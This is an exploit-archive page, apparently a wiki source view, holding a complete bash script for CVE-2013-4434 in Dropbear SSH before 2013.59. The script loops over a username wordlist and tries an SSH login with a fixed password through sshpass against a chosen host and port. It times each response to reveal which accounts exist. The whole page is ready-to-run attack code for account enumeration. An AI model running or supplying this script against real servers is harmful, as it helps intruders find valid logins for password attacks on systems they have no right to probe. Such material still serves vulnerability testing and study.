View source for CVE-2013-4434 Dropbear SSH Server before 2013.59 用戶名泄漏漏洞

==EXP==
<pre>
#!/bin/bash

# Affected Systems: Dropbear SSH Server before 2013.59
# CVE-ID: CVE-2013-4434
# Author: styx00

# Colours <3
RED='\033[0;31m'
GREEN='\033[0;32m'
BOLD=$(tput bold)
RESET=$(tput sgr0)

# Check if 'sshpass' is installed first
dpkg -l "sshpass" > /dev/null 2>&1
INSTALLED=$?

printf "Checking if the 'sshpass' package is installed...\n"
if [ $INSTALLED == '0' ]; then
    printf "${GREEN}${BOLD}[+] The 'sshpass' package is installed. Let's proceed!${RESET}\n\n"
else
    printf "${RED}${BOLD}[-] The 'sshpass' package is not installed.${RESET}\n\n"
    exit 1
fi

# Function to show the script's usage
function usage
{
    printf "Usage: ./dropbear_CVE-2013.sh -t example.com -p 22 -w /home/styx00/usernames.txt"
    printf "\n\t-t, --target\tTarget FQDN or IP address"
    printf "\n\t-p, --port\tPort number"
    printf "\n\t-w, --wordlist\tWordlist containing usernames"
    printf "\n\t-h, --help\tShow help and exit\n"
}

while [ "$1" != "" ]; do
    case $1 in
        -t | --target )         shift
                                target=$1
                                ;;
        -p | --port )           shift
                                port=$1
                                ;;
        -w | --wordlist )       shift
                                wordlist=$1
                                ;;
        -h | --help )           usage
                                exit
                                ;;
        * )                     usage
                                exit 1
    esac
    shift
done

if [ "$target" !=  "" ] && [ "$port" != "" ] && [ "$wordlist" != "" ]
then
  printf "Target: %s\n" "${target}"
  printf "port: %s\n" "${port}"
  printf "Wordlist: %s\n" "${wordlist}"

  printf "\nTesting\n---------------\n"

  trap "exit" INT   # Exit on SIGINT
  for username in $(cat $wordlist)
  do
    printf "\n${username}\n\t"
    /usr/bin/time --quiet -f "\tTime: %e" sshpass -p "password" ssh -T $username@$target -p $port </dev/null
  done
  printf "\n---------------\n"
else
  usage
fi

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